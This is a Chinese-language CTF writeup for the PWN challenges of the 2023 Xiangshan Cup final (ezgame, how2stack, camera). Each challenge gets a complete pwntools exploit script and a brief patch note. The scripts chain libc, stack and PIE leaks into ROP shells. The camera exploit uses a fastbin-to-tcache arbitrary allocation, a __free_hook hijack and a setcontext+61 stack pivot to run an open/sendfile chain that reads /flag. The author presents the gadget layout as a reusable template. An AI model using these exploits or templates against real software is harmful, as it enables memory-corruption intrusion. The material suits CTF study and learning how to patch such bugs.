香山杯2023决赛-PWN部分 writeup

First Post:

Last Update:

ezgame

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context.log_level="debug"
#p=process("./pwn")
p=remote("47.94.85.181",32135)
elf=ELF("./pwn")
libc=elf.libc

def zako():
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("fight?")
p.sendline("1")

for i in range(100):
zako()


p.recvuntil("> ")
p.sendline("6")

for i in range(50):
p.recvuntil("shop")
p.sendline("1")
p.sendline("3")

p.recvuntil("> ")
p.sendline("2")
p.recvuntil("fight?")
p.sendline("2")

p.recvuntil("name!")

#0x0000000000401a3b : pop rdi ; ret
#0x0000000000401a39 : pop rsi ; pop r15 ; ret
#0x0000000000401016 : ret

pop_rdi=0x0000000000401a3b
pop_rsi_r15=0x0000000000401a39
ret=0x0000000000401016
#gdb.attach(p,"b*0x401871")
#pause()
payload=b"a"*0x650+p64(0)
payload+=p64(pop_rdi)+p64(0x404058)+p64(elf.plt["puts"])+p64(0x401749)

p.sendline(payload)
leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print(hex(leak))
basetest=leak-libc.symbols["setvbuf"]
print(hex(basetest))

p.recvuntil("?")
p.sendline("2")

payload=b"a"*0x650+p64(0)
payload+=p64(ret)+p64(pop_rdi)+p64(basetest+0x1B45BD)+p64(basetest+libc.symbols["system"])
p.sendline(payload)

p.interactive()

patch

有 gets ,把那个注就过了。

how2stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
context.log_level="debug"
#p=process("./pwn")
p=remote("39.106.48.123",13774)
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
lens=1000
p.sendline(str(lens))
p.recvuntil(": ")


payload=b"a"*0x64+p32(0xffffffff)
p.send(payload)
p.recvuntil("ff ff ff ff ")

leak_stack=int(p.recv(2),16)
p.recv(1)
leak_stack+=(int(p.recv(2),16)<<8)
p.recv(1)
leak_stack+=(int(p.recv(2),16)<<16)
p.recv(1)
leak_stack+=(int(p.recv(2),16)<<24)
p.recv(1)
leak_stack+=(int(p.recv(2),16)<<32)
p.recv(1)
leak_stack+=(int(p.recv(2),16)<<40)
print(hex(leak_stack))


p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")

lens=1000
p.sendline(str(lens))
p.recvuntil(": ")
payload=b"a"*0x64+p32(0xffffffff)+p64(leak_stack+0x10)+p64(leak_stack+0x10)
p.send(payload)

p.recvuntil("hex: ")
leak_pie=int(p.recv(2),16)
p.recv(1)
leak_pie+=(int(p.recv(2),16)<<8)
p.recv(1)
leak_pie+=(int(p.recv(2),16)<<16)
p.recv(1)
leak_pie+=(int(p.recv(2),16)<<24)
p.recv(1)
leak_pie+=(int(p.recv(2),16)<<32)
p.recv(1)
leak_pie+=(int(p.recv(2),16)<<40)
print(hex(leak_pie))
basetest=leak_pie-(0x55e5350c8955-0x55e5350c7000)
print(hex(basetest))
#0x00000000000019d3 : pop rdi ; ret
#0x00000000000019d1 : pop rsi ; pop r15 ; ret

p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
lens=1000
p.sendline(str(lens))
p.recvuntil(": ")

payload=b"a"*0x64+p32(0xffffffff)+p64(leak_stack+0x10)+p64(leak_stack+0x10)
payload+=p64(basetest+0x00000000000019d3)+p64(basetest+0x3FC0)+p64(basetest+0x0000000000010E0)
payload+=p64(0x16AF+basetest)
p.send(payload)
leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print(hex(leak))

#gdb.attach(p,"b*$rebase(0x18E4)")
#pause()
lens=1000
p.sendline(str(lens))
p.recvuntil(": ")
payload=b"a"*0x64+p32(0xffffffff)+p64(leak_stack+0x10)+p64(leak_stack+0x10)
payload+=p64(leak-(0x7f7b18d7d0b0-0x7f7b18d1a000)+0xe3b01)
p.send(payload)


p.interactive()

patch

栈溢出,把 read 的参数 nbytes 改成 99 就行。

camera

其实我自己也不记得那个机制了,但是赛中测试的时候发现还能这样。

当 fastbin 中存在 chunk chain 的时候,哪怕这个 chunk 的所有数据都是不合法的,只要它不是链表头,那么通过 malloc 从 fastbin 申请内存以后,其后的所有 chunk 都会不经检查地被放入到对应的 tcachebin 中,当能覆盖 fastbin 的 fd 之后,这个机制将能导致任意地址申请。

然后是另外一个 trick,在禁用 execve 之后通过 orw 的时候必然需要 rop ,但是只能劫持 __free_hook 是不太能劫持到 ROP 的,往往是通过如下的 gadget 来完成:

1
2
3
4
key_setsecret-> getkeyserv_handle+576
0x7f4006e3b990 <getkeyserv_handle+576>: mov rdx,QWORD PTR [rdi+0x8]
0x7f4006e3b994 <getkeyserv_handle+580>: mov QWORD PTR [rsp],rax
0x7f4006e3b998 <getkeyserv_handle+584>: call QWORD PTR [rdx+0x20]

此处再配合 setcontext+61

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
text:0000000000054F5D 48 8B A2 A0 00 00 00          mov     rsp, [rdx+0A0h]
.text:0000000000054F64 48 8B 9A 80 00 00 00 mov rbx, [rdx+80h]
.text:0000000000054F6B 48 8B 6A 78 mov rbp, [rdx+78h]
.text:0000000000054F6F 4C 8B 62 48 mov r12, [rdx+48h]
.text:0000000000054F73 4C 8B 6A 50 mov r13, [rdx+50h]
.text:0000000000054F77 4C 8B 72 58 mov r14, [rdx+58h]
.text:0000000000054F7B 4C 8B 7A 60 mov r15, [rdx+60h]
.text:0000000000054F7F 64 F7 04 25 48 00 00 00 02 00+test dword ptr fs:48h, 2
.text:0000000000054F8B 0F 84 B5 00 00 00 jz loc_55046

此处省略

.text:0000000000055046 48 8B 8A A8 00 00 00 mov rcx, [rdx+0A8h]
.text:000000000005504D 51 push rcx
.text:000000000005504E 48 8B 72 70 mov rsi, [rdx+70h]
.text:0000000000055052 48 8B 7A 68 mov rdi, [rdx+68h]
.text:0000000000055056 48 8B 8A 98 00 00 00 mov rcx, [rdx+98h]
.text:000000000005505D 4C 8B 42 28 mov r8, [rdx+28h]
.text:0000000000055061 4C 8B 4A 30 mov r9, [rdx+30h]
.text:0000000000055065 48 8B 92 88 00 00 00 mov rdx, [rdx+88h]
.text:0000000000055065 ; } // starts at 54F20
.text:000000000005506C ; __unwind {
.text:000000000005506C 31 C0 xor eax, eax
.text:000000000005506E C3 retn

在香山杯决赛里遇到了这个利用,就因为忘记了这个 trick 导致与奖失之交臂,难受……

这里贴份模板:

Reg_mem:当 free_hook 被劫持后,释放如下内容的内存块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
reg_context = flat({ 
0x20: p64(basetest+libc.sym["setcontext"]+61), #call setcontext+61
0x28:p64(0),#r8
0x30:p64(0),#r9
0x48:p64(0),#r12
0x50:p64(0),#r13
0x58:p64(0),#r14
0x60:p64(0),#r15
0x68:p64(0),#rdi
0x70:p64(0),#rsi
0x78:p64(0),#rbp
0x80:p64(0),#rbx
0x88:p64(0),#rdx
0x98:p64(0),#rcx
0xa0: heap_base+0x500,#rsp
0xa8: p64(0),#ret addr
}, filler = b'\x00', arch = "amd64")

hijack_hoo:劫持 free_hook 到特定偏移(此处为 2.31)

1
payload=p64(basetest+(0x151990))

ROP:此处存放了最终的 ROP,在 Reg_mem 中将 RSP 执行存放如下内容的内存块即可完成 ROP,下图中均为特定题目的偏移

1
2
rop=b""+p64(basetest+0x0000000000023b6a)+p64(1)+p64(basetest+0x000000000002601f)+p64(3)
rop+=p64(basetest+0x0000000000142c92)+p64(0)+p64(basetest+0x000000000010257e)+p64(0x100)+p64(100)+p64(basetest+libc.sym["sendfile64"])

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *
context.log_level="debug"
p=process("./pwn")
#p=remote("47.94.85.181",32135)
elf=ELF("./pwn")
libc=elf.libc

def shoot(n):
p.recvuntil(">> \n")
p.sendline("1")
p.recvuntil("pictures?\n")
p.sendline(str(n))

def buy(size,context):
p.recvuntil(">> \n")
p.sendline("2")
p.recvuntil("budget.\n")
p.sendline(str(size))
p.recvuntil("Content: \n")
p.send(context)

def load(n):
p.recvuntil(">> \n")
p.sendline("3")
p.recvuntil("load\n")
p.sendline(str(n))

buy(0x500-8,"\n")#0
buy(0x500-8,"\n")#1
buy(0x500-8,"\n")#2
load(1)
shoot(30)
buy(0x500-8,"\n")#1
load(1)

shoot(30)
leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
basetest=leak-(0x7f6b272bebe0-0x7f6b270d2000)
print(hex(leak))
buy(0x500-8,"\n")#1

buy(0x78,"\n")#3
buy(0x78,"\n")#4
load(3)
load(4)

shoot(2)
buy(0x78,"\n")#3
buy(0x78,"\n")#4
load(3)

shoot(1)
heap=u64(p.recvuntil("\x0a")[-7:-1].ljust(8,b'\x00'))
print(hex(heap))
heap_base=heap-(0x55a4f99e6220-0x55a4f99e5000)
print(hex(heap_base))

buy(0x78,"\n")#5
buy(0x78,"\n")#6
buy(0x78,"\n")#7
buy(0x78,"\n")#8
buy(0x78,"\n")#9
buy(0x78,"\n")#10<<<9
buy(0x78,"\n")#10
buy(0x78,"\n")#11
buy(0x78,"\n")#12
buy(0x78,"\n")#13
load(11)
load(12)
load(13)
load(10)
load(9)
load(8)
load(7)
load(6)
load(5)
load(4)
load(3)
shoot(30)

rdx=b""+p64(heap_base+0x1710+0x10)
rop=p64(0)+rdx

buy(0x78,rop+b"\n")#3
buy(0x78,"/flag\x00"+"\n")#4
buy(0x78,"\n")#5
buy(0x78,"\n")#6
buy(0x78,"\n")#7
buy(0x78,"\n")#8
buy(0x78,"\n")#9
load(9)
shoot(2)
buy(0x78,p64(basetest-0x10+libc.sym["__free_hook"])+b"\n")#9
buy(0x78,8*"b"+"\n")#10
buy(0x78,8*"b"+"\n")#10

payload=p64(basetest+(0x151990))
buy(0x78,payload+b"\n")#10

reg_context = flat({
0x20: p64(basetest+libc.sym["setcontext"]+61), #call setcontext+61
0x28:p64(0),#r8
0x30:p64(0),#r9
0x48:p64(0),#r12
0x50:p64(0),#r13
0x58:p64(0),#r14
0x60:p64(0),#r15
0x68:p64(0x1420+heap_base),#rdi
0x70:p64(0),#rsi
0x78:p64(0),#rbp
0x80:p64(0),#rbx
0x88:p64(0),#rdx
0x98:p64(0),#rcx
0xa0: heap_base+0x1c20,#rsp
0xa8: p64(basetest+libc.sym["open"]),#ret addr
}, filler = b'\x00', arch = "amd64")

buy(0x500-8,reg_context+b"\n")#10

rop=b""+p64(basetest+0x0000000000023b6a)+p64(1)+p64(basetest+0x000000000002601f)+p64(3)
rop+=p64(basetest+0x0000000000142c92)+p64(0)+p64(basetest+0x000000000010257e)+p64(0x100)+p64(100)+p64(basetest+libc.sym["sendfile64"])
buy(0x500-8,rop+b"\n")#10
load(3)
shoot(7)

p.interactive()

patch

指针未清零,会有 UAF,patch 的时候把这里置零就过了。